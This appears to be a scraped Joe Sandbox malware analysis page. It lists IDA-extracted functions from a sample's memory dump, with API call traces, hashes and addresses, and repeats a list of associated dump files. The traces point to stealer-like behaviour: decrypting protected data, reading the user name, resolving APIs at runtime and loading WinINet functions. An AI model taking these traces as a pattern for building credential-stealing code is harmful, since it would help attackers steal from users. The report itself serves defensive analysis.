Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: ed299d2a22d29b5e2b389c511ca70f24b945dcab663a21800dc15cea9fa3cf82
Instruction ID: beb932debd70d00357e71db92c8a8455ba920f04bc1157cb9a8dbb666b0b5ade
Opcode Fuzzy Hash: ed299d2a22d29b5e2b389c511ca70f24b945dcab663a21800dc15cea9fa3cf82
Instruction Fuzzy Hash: 37110CB8A01209DFDB04DFA4D985EAE77B5FF88304F104568E81597390D774AE51CF61

Function 00297850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002811B7), ref: 00297880
RtlAllocateHeap.NTDLL(00000000), ref: 00297887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0029789F

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e511a11e4a2b4fe00a22de2e5e3170ad73916281f7713cfabded0800f78984eb
Instruction ID: 6a8151af5c87388980bd38c9993ad24ceb56adf99796d9802e0fce07e86752a8
Opcode Fuzzy Hash: e511a11e4a2b4fe00a22de2e5e3170ad73916281f7713cfabded0800f78984eb
Instruction Fuzzy Hash: 01F04FB1954208ABCB00DF99DD4AFAEBBB8FB05715F10026AFA05A2680C77855148BA1

Function 00281160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0028116A
ExitProcess.KERNEL32 ref: 0028117E

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 52bb448113fb2bdb31d50e3f91a62ecac8c4488bdf3d11f7ccc863e16a608e8f
Instruction ID: 2cdb69eed5fab66595547890f7bc05fc671b6f7d79d556a64a737b2edabed176
Opcode Fuzzy Hash: 52bb448113fb2bdb31d50e3f91a62ecac8c4488bdf3d11f7ccc863e16a608e8f
Instruction Fuzzy Hash: FBD09E7490530CDBCB44EFE0DD8DADDBB7CFB08715F101565D90562380EA3195A6CBAA

Function 00299C10 Relevance: 229.9, APIs: 112, Strings: 19, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00E366A0), ref: 00299C2D
GetProcAddress.KERNEL32(75900000,00E36880), ref: 00299C45
GetProcAddress.KERNEL32(75900000,00E48C58), ref: 00299C5E
GetProcAddress.KERNEL32(75900000,00E48CA0), ref: 00299C76
GetProcAddress.KERNEL32(75900000,00E4CC10), ref: 00299C8E
GetProcAddress.KERNEL32(75900000,00E4CC58), ref: 00299CA7
GetProcAddress.KERNEL32(75900000,00E3B090), ref: 00299CBF
GetProcAddress.KERNEL32(75900000,00E4CC70), ref: 00299CD7
GetProcAddress.KERNEL32(75900000,00E4CAF0), ref: 00299CF0
GetProcAddress.KERNEL32(75900000,00E4CC88), ref: 00299D08
GetProcAddress.KERNEL32(75900000,00E4CCA0), ref: 00299D20
GetProcAddress.KERNEL32(75900000,00E36860), ref: 00299D39
GetProcAddress.KERNEL32(75900000,00E36A00), ref: 00299D51
GetProcAddress.KERNEL32(75900000,00E36780), ref: 00299D69
GetProcAddress.KERNEL32(75900000,00E367A0), ref: 00299D82
GetProcAddress.KERNEL32(75900000,00E4CB08), ref: 00299D9A
GetProcAddress.KERNEL32(75900000,00E4CD18), ref: 00299DB2
GetProcAddress.KERNEL32(75900000,00E3B0E0), ref: 00299DCB
GetProcAddress.KERNEL32(75900000,00E367E0), ref: 00299DE3
GetProcAddress.KERNEL32(75900000,00E4CCE8), ref: 00299DFB
GetProcAddress.KERNEL32(75900000,00E4CD90), ref: 00299E14
GetProcAddress.KERNEL32(75900000,00E4CCB8), ref: 00299E2C
GetProcAddress.KERNEL32(75900000,00E4CD30), ref: 00299E44
GetProcAddress.KERNEL32(75900000,00E36840), ref: 00299E5D
GetProcAddress.KERNEL32(75900000,00E4CCD0), ref: 00299E75
GetProcAddress.KERNEL32(75900000,00E4CD48), ref: 00299E8D
GetProcAddress.KERNEL32(75900000,00E4CD60), ref: 00299EA6
GetProcAddress.KERNEL32(75900000,00E4CB50), ref: 00299EBE
GetProcAddress.KERNEL32(75900000,00E4CBE0), ref: 00299ED6
GetProcAddress.KERNEL32(75900000,00E4CB80), ref: 00299EEF
GetProcAddress.KERNEL32(75900000,00E4CB38), ref: 00299F07
GetProcAddress.KERNEL32(75900000,00E4CD78), ref: 00299F1F
GetProcAddress.KERNEL32(75900000,00E4CC28), ref: 00299F38
GetProcAddress.KERNEL32(75900000,00E49F78), ref: 00299F50
GetProcAddress.KERNEL32(75900000,00E4CD00), ref: 00299F68
GetProcAddress.KERNEL32(75900000,00E4CDA8), ref: 00299F81
GetProcAddress.KERNEL32(75900000,00E368A0), ref: 00299F99
GetProcAddress.KERNEL32(75900000,00E4CDC0), ref: 00299FB1
GetProcAddress.KERNEL32(75900000,00E36820), ref: 00299FCA
GetProcAddress.KERNEL32(75900000,00E4CDD8), ref: 00299FE2
GetProcAddress.KERNEL32(75900000,00E4CB20), ref: 00299FFA
GetProcAddress.KERNEL32(75900000,00E36560), ref: 0029A013
GetProcAddress.KERNEL32(75900000,00E36460), ref: 0029A02B
LoadLibraryA.KERNEL32(00E4CB68,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A03D
LoadLibraryA.KERNEL32(00E4CBB0,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A04E
LoadLibraryA.KERNEL32(00E4CB98,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A060
LoadLibraryA.KERNEL32(00E4CBC8,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A072
LoadLibraryA.KERNEL32(00E4CBF8,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A083
LoadLibraryA.KERNEL32(00E4CC40,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A095
LoadLibraryA.KERNEL32(00E4CEB0,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A0A7
LoadLibraryA.KERNEL32(00E4CE50,?,00295CA3,002A0AEB,?,?,?,?,?,?,?,?,?,?,002A0AEA,002A0AE3), ref: 0029A0B8
GetProcAddress.KERNEL32(75FD0000,00E36660), ref: 0029A0DA
GetProcAddress.KERNEL32(75FD0000,00E4CE98), ref: 0029A0F2
GetProcAddress.KERNEL32(75FD0000,00E48A10), ref: 0029A10A
GetProcAddress.KERNEL32(75FD0000,00E4CF58), ref: 0029A123
GetProcAddress.KERNEL32(75FD0000,00E36280), ref: 0029A13B
GetProcAddress.KERNEL32(73AE0000,00E3B108), ref: 0029A160
GetProcAddress.KERNEL32(73AE0000,00E362E0), ref: 0029A179
GetProcAddress.KERNEL32(73AE0000,00E3B1A8), ref: 0029A191
GetProcAddress.KERNEL32(73AE0000,00E4CE38), ref: 0029A1A9
GetProcAddress.KERNEL32(73AE0000,00E4CE08), ref: 0029A1C2
GetProcAddress.KERNEL32(73AE0000,00E36300), ref: 0029A1DA
GetProcAddress.KERNEL32(73AE0000,00E36320), ref: 0029A1F2
GetProcAddress.KERNEL32(73AE0000,00E4CEC8), ref: 0029A20B
GetProcAddress.KERNEL32(763B0000,00E36340), ref: 0029A22C
GetProcAddress.KERNEL32(763B0000,00E364E0), ref: 0029A244
GetProcAddress.KERNEL32(763B0000,00E4CFA0), ref: 0029A25D
GetProcAddress.KERNEL32(763B0000,00E4CF10), ref: 0029A275
GetProcAddress.KERNEL32(763B0000,00E363A0), ref: 0029A28D
GetProcAddress.KERNEL32(750F0000,00E3B2E8), ref: 0029A2B3
GetProcAddress.KERNEL32(750F0000,00E3B1D0), ref: 0029A2CB
GetProcAddress.KERNEL32(750F0000,00E4CF28), ref: 0029A2E3
GetProcAddress.KERNEL32(750F0000,00E36360), ref: 0029A2FC
GetProcAddress.KERNEL32(750F0000,00E362A0), ref: 0029A314
GetProcAddress.KERNEL32(750F0000,00E3B298), ref: 0029A32C
GetProcAddress.KERNEL32(75A50000,00E4CE68), ref: 0029A352
GetProcAddress.KERNEL32(75A50000,00E362C0), ref: 0029A36A
GetProcAddress.KERNEL32(75A50000,00E48A70), ref: 0029A382
GetProcAddress.KERNEL32(75A50000,00E4CE20), ref: 0029A39B
GetProcAddress.KERNEL32(75A50000,00E4CDF0), ref: 0029A3B3
GetProcAddress.KERNEL32(75A50000,00E36480), ref: 0029A3CB
GetProcAddress.KERNEL32(75A50000,00E36380), ref: 0029A3E4
GetProcAddress.KERNEL32(75A50000,00E4CE80), ref: 0029A3FC
GetProcAddress.KERNEL32(75A50000,00E4CF70), ref: 0029A414
GetProcAddress.KERNEL32(75070000,00E363C0), ref: 0029A436
GetProcAddress.KERNEL32(75070000,00E4CEE0), ref: 0029A44E
GetProcAddress.KERNEL32(75070000,00E4CEF8), ref: 0029A466
GetProcAddress.KERNEL32(75070000,00E4CF40), ref: 0029A47F
GetProcAddress.KERNEL32(75070000,00E4CF88), ref: 0029A497
GetProcAddress.KERNEL32(74E50000,00E363E0), ref: 0029A4B8
GetProcAddress.KERNEL32(74E50000,00E36400), ref: 0029A4D1
GetProcAddress.KERNEL32(75320000,00E36420), ref: 0029A4F2
GetProcAddress.KERNEL32(75320000,00E4C988), ref: 0029A50A
GetProcAddress.KERNEL32(6F060000,00E36580), ref: 0029A530
GetProcAddress.KERNEL32(6F060000,00E36440), ref: 0029A548
GetProcAddress.KERNEL32(6F060000,00E364A0), ref: 0029A560
GetProcAddress.KERNEL32(6F060000,00E4CA30), ref: 0029A579
GetProcAddress.KERNEL32(6F060000,00E364C0), ref: 0029A591
GetProcAddress.KERNEL32(6F060000,00E36500), ref: 0029A5A9
GetProcAddress.KERNEL32(6F060000,00E365A0), ref: 0029A5C2
GetProcAddress.KERNEL32(6F060000,00E36520), ref: 0029A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0029A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0029A607
GetProcAddress.KERNEL32(74E00000,00E4C9E8), ref: 0029A629
GetProcAddress.KERNEL32(74E00000,00E48AE0), ref: 0029A641
GetProcAddress.KERNEL32(74E00000,00E4CA78), ref: 0029A659
GetProcAddress.KERNEL32(74E00000,00E4C8B0), ref: 0029A672
GetProcAddress.KERNEL32(74DF0000,00E36540), ref: 0029A693
GetProcAddress.KERNEL32(6F9C0000,00E4C8C8), ref: 0029A6B4
GetProcAddress.KERNEL32(6F9C0000,00E365C0), ref: 0029A6CD
GetProcAddress.KERNEL32(6F9C0000,00E4C970), ref: 0029A6E5
GetProcAddress.KERNEL32(6F9C0000,00E4C9A0), ref: 0029A6FD

Strings

`h, xrefs: 00299D2B
InternetSetOptionA, xrefs: 0029A5E5
@e, xrefs: 0029A686
@c, xrefs: 0029A21F
`d, xrefs: 0029A01E
c, xrefs: 0029A4AB
h, xrefs: 00299FBC
d, xrefs: 0029A4E5
@d, xrefs: 0029A53B
@h, xrefs: 00299E4F
b, xrefs: 0029A16B
`e, xrefs: 0029A005
c, xrefs: 0029A1E5
`c, xrefs: 0029A2EE
d, xrefs: 0029A237
g, xrefs: 00299DD6
e, xrefs: 0029A5CD
`f, xrefs: 0029A0CC
HttpQueryInfoA, xrefs: 0029A5FC

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: c$ d$ e$ h$@c$@d$@e$@h$HttpQueryInfoA$InternetSetOptionA$`c$`d$`e$`f$`h$b$c$d$g
API String ID: 2238633743-4051596857
Opcode ID: 1e9635ee3a060d5a82d3cd9c04b8123b421771c3a65d3e0721271d8fe230d3da
Instruction ID: 6b6722bb05139e47d20fc8f1ef36cbafdef6d848ef453198b498c1791bdcc965
Opcode Fuzzy Hash: 1e9635ee3a060d5a82d3cd9c04b8123b421771c3a65d3e0721271d8fe230d3da
Instruction Fuzzy Hash: 46623DB5502208AFC3C4EFA8FD88D6677F9F74C309714853AA609C3224D6399871DB6E

Function 00287710 Relevance: 98.6, APIs: 54, Strings: 2, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00287724
RtlAllocateHeap.NTDLL(00000000), ref: 0028772B
lstrcat.KERNEL32(?,00E494C8), ref: 002878DB
lstrcat.KERNEL32(?,?), ref: 002878EF
lstrcat.KERNEL32(?,?), ref: 00287903
lstrcat.KERNEL32(?,?), ref: 00287917
lstrcat.KERNEL32(?,00E4DD58), ref: 0028792B
lstrcat.KERNEL32(?,00E4DC50), ref: 0028793F
lstrcat.KERNEL32(?,00E4DCC8), ref: 00287952
lstrcat.KERNEL32(?,00E4DB18), ref: 00287966
lstrcat.KERNEL32(?,00E4DFD8), ref: 0028797A
lstrcat.KERNEL32(?,?), ref: 0028798E
lstrcat.KERNEL32(?,?), ref: 002879A2
lstrcat.KERNEL32(?,?), ref: 002879B6
lstrcat.KERNEL32(?,00E4DD58), ref: 002879C9
lstrcat.KERNEL32(?,00E4DC50), ref: 002879DD
lstrcat.KERNEL32(?,00E4DCC8), ref: 002879F1
lstrcat.KERNEL32(?,00E4DB18), ref: 00287A04
lstrcat.KERNEL32(?,00E4E040), ref: 00287A18
lstrcat.KERNEL32(?,?), ref: 00287A2C
lstrcat.KERNEL32(?,?), ref: 00287A40
lstrcat.KERNEL32(?,?), ref: 00287A54
lstrcat.KERNEL32(?,00E4DD58), ref: 00287A68
lstrcat.KERNEL32(?,00E4DC50), ref: 00287A7B
lstrcat.KERNEL32(?,00E4DCC8), ref: 00287A8F
lstrcat.KERNEL32(?,00E4DB18), ref: 00287AA3
lstrcat.KERNEL32(?,00E4E0A8), ref: 00287AB6
lstrcat.KERNEL32(?,?), ref: 00287ACA
lstrcat.KERNEL32(?,?), ref: 00287ADE
lstrcat.KERNEL32(?,?), ref: 00287AF2
lstrcat.KERNEL32(?,00E4DD58), ref: 00287B06
lstrcat.KERNEL32(?,00E4DC50), ref: 00287B1A
lstrcat.KERNEL32(?,00E4DCC8), ref: 00287B2D
lstrcat.KERNEL32(?,00E4DB18), ref: 00287B41
lstrcat.KERNEL32(?,00E4E110), ref: 00287B55
lstrcat.KERNEL32(?,?), ref: 00287B69
lstrcat.KERNEL32(?,?), ref: 00287B7D
lstrcat.KERNEL32(?,?), ref: 00287B91
lstrcat.KERNEL32(?,00E4DD58), ref: 00287BA4
lstrcat.KERNEL32(?,00E4DC50), ref: 00287BB8
lstrcat.KERNEL32(?,00E4DCC8), ref: 00287BCC
lstrcat.KERNEL32(?,00E4DB18), ref: 00287BDF
lstrcat.KERNEL32(?,00E4E178), ref: 00287BF3
lstrcat.KERNEL32(?,?), ref: 00287C07
lstrcat.KERNEL32(?,?), ref: 00287C1B
lstrcat.KERNEL32(?,?), ref: 00287C2F
lstrcat.KERNEL32(?,00E4DD58), ref: 00287C43
lstrcat.KERNEL32(?,00E4DC50), ref: 00287C56
lstrcat.KERNEL32(?,00E4DCC8), ref: 00287C6A
lstrcat.KERNEL32(?,00E4DB18), ref: 00287C7E

Part of subcall function 002875D0: lstrcat.KERNEL32(355A3020,002A17FC), ref: 00287606
Part of subcall function 002875D0: lstrcat.KERNEL32(355A3020,00000000), ref: 00287648
Part of subcall function 002875D0: lstrcat.KERNEL32(355A3020, : ), ref: 0028765A
Part of subcall function 002875D0: lstrcat.KERNEL32(355A3020,00000000), ref: 0028768F
Part of subcall function 002875D0: lstrcat.KERNEL32(355A3020,002A1804), ref: 002876A0
Part of subcall function 002875D0: lstrcat.KERNEL32(355A3020,00000000), ref: 002876D3
Part of subcall function 002875D0: lstrcat.KERNEL32(355A3020,002A1808), ref: 002876ED
Part of subcall function 002875D0: task.LIBCPMTD ref: 002876FB

lstrcat.KERNEL32(?,00E4E410), ref: 00287E0B
lstrcat.KERNEL32(?,00E4D3B8), ref: 00287E1E
lstrlen.KERNEL32(355A3020), ref: 00287E2B
lstrlen.KERNEL32(355A3020), ref: 00287E3B

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Strings

@, xrefs: 00287A0A
x, xrefs: 00287BE5

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
